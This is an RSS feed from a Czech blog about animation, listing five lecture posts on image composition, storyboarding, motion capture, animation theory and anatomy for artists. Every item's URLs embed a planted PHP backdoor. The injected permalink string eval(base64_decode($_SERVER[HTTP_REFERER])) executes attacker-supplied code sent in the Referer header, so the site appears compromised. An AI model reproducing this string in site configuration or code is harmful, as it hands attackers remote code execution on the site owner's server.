<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>glosy.animace.com &#187; Přednášky</title>
	<atom:link href="http://glosy.animace.com/category/prednasky/feed/" rel="self" type="application/rss+xml" />
	<link>http://glosy.animace.com</link>
	<description>Skromný průvodce animovaným filmem</description>
	<lastBuildDate>Mon, 31 May 2010 11:02:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Jak porozumět obrazu</title>
		<link>http://glosy.animace.com/2008/11/09/jak-porozumet-obrazu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://glosy.animace.com/2008/11/09/jak-porozumet-obrazu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 09 Nov 2008 14:40:27 +0000</pubDate>
		<dc:creator>Pavel Hruboš</dc:creator>
				<category><![CDATA[Přednášky]]></category>

		<guid isPermaLink="false">http://glosy.animace.com/?p=161</guid>
		<description><![CDATA[
První proč a potom jak. Filmová řeč namíchaná s obrazovou kompozicí, koktejl pro grafiky a animátory. Hodinová přednáška je záznam z letošního GDS 2008. V návaznosti na reakce ke storyboardu jsem upravil některé nepříliš srozumitelné pasáže. Vznikl tak mix dramaturgických základů k tvorbě vizuálního díla.
Stahujte zde.
]]></description>
		<wfw:commentRss>http://glosy.animace.com/2008/11/09/jak-porozumet-obrazu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jak na storyboard</title>
		<link>http://glosy.animace.com/2008/09/18/jak-na-storyboard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://glosy.animace.com/2008/09/18/jak-na-storyboard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 15:10:14 +0000</pubDate>
		<dc:creator>Pavel Hruboš</dc:creator>
				<category><![CDATA[Přednášky]]></category>

		<guid isPermaLink="false">http://glosy.animace.com/?p=33</guid>
		<description><![CDATA[
Co je na storyboardu tak kouzelného, že se mu nevyplácí vyhýbat? Existuje něco nudnějšího a zdlouhavějšího? Jak elegantně přenést myšlenku na papír a neublížit si.
Tyto slova úváděly mou předposlední přednášku věnovanou problematice storyboardu. Prvotní impuls vznikl na základě vlastní potřeby, vytvořit visuální osnovu pro připravovaný kraťas. Byť se nemusí na první pohled zdát, ke storyboardu existuje [...]]]></description>
		<wfw:commentRss>http://glosy.animace.com/2008/09/18/jak-na-storyboard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Motion capture v praxi</title>
		<link>http://glosy.animace.com/2008/06/11/15/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://glosy.animace.com/2008/06/11/15/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 18:44:49 +0000</pubDate>
		<dc:creator>Pavel Hruboš</dc:creator>
				<category><![CDATA[Přednášky]]></category>

		<guid isPermaLink="false">http://glosy.animace.com/?p=15</guid>
		<description><![CDATA[
Jsou to technologie, na které se dívají animátoři buď skrz prsty,  nebo s úsměvem uhýbají pohledem. Dovedu si představit staré &#8220;dvědéčkáře&#8221;, kteří by tento postup přirovanli k rotoskopii dovedené k dokonalosti. Je to něco přes dva roky, kdy byl Motion capture vypuštěn z udílení cen Akademie ze sekce animovaný film. Ono samotné vyřazení má [...]]]></description>
		<wfw:commentRss>http://glosy.animace.com/2008/06/11/15/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.video.muni.cz/public/gds2006/MotionCapture.wmv" length="100731290" type="video/x-ms-wmv" />
		</item>
		<item>
		<title>Teorie animace</title>
		<link>http://glosy.animace.com/2008/05/22/teorie-animace/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://glosy.animace.com/2008/05/22/teorie-animace/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 22 May 2008 09:28:35 +0000</pubDate>
		<dc:creator>Pavel Hruboš</dc:creator>
				<category><![CDATA[Přednášky]]></category>

		<guid isPermaLink="false">http://glosy.animace.com/?p=9</guid>
		<description><![CDATA[
Práce s časem je podceňovanou součástí tvorby každého multimediálního díla nebo statického obrázku. Jak zlepšit výrazové prostředky vaší práce (gestika, mimika, pohyb). Rady pro začínající animátory.
Přednáška je záznam z minulého ročníku GDS (20MB). Vyžaduje Techsmith Camtasia kodek.
]]></description>
		<wfw:commentRss>http://glosy.animace.com/2008/05/22/teorie-animace/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://animace.com/videa/teorie.animace-Pavel.Hrubos.avi" length="31713654" type="video/x-msvideo" />
		</item>
		<item>
		<title>Anatomie pro výtvarníky</title>
		<link>http://glosy.animace.com/2008/03/23/anatomie-pro-vytvarniky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://glosy.animace.com/2008/03/23/anatomie-pro-vytvarniky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 23 Mar 2008 13:09:45 +0000</pubDate>
		<dc:creator>Pavel Hruboš</dc:creator>
				<category><![CDATA[Přednášky]]></category>

		<guid isPermaLink="false">http://glosy.animace.com/?p=10</guid>
		<description><![CDATA[
I když se k animaci zcecla jistě ještě vrátím v některém z dálších článků, rád bych poukázal na hodinovou přednášku Martiny T. Peciny z GDS 07, která ve stručnosti pojednává o anatomické stavbě a odlišnostech člověka.
Základní anatomické charakteristiky člověka a humanoidních bytostí: proporce, kosti a klouby, svalstvo, mimika. Hlavní konstituční typy, pohlavní, věkové a rasové [...]]]></description>
		<wfw:commentRss>http://glosy.animace.com/2008/03/23/anatomie-pro-vytvarniky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.animace.com/videa/anatomie-martin.pecina.avi" length="21214202" type="video/x-msvideo" />
		</item>
	</channel>
</rss>
